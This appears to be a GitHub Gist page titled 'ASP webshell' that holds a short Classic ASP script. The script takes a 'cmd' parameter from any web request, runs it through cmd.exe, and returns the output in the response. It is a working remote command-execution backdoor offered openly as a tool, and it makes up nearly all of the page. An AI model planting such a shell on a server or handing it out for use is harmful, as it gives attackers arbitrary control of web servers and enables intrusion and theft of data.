Last active
November 20, 2017 05:23
-
-
Save ahhh/214b2028fcac6fea2175 to your computer and use it in GitHub Desktop.
ASP webshell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<% | |
szCMD = request("cmd") | |
Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) | |
Set oFile = Server.CreateObject("Scripting.FileSystemObject").OpenTextFile (szTempFile, 1, False, 0) | |
Response.Write Server.HTMLEncode(oFile.ReadAll) | |
oFile.Close | |
Call Server.CreateObject("Scripting.FileSystemObject").DeleteFile(szTempFile, True) | |
%> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment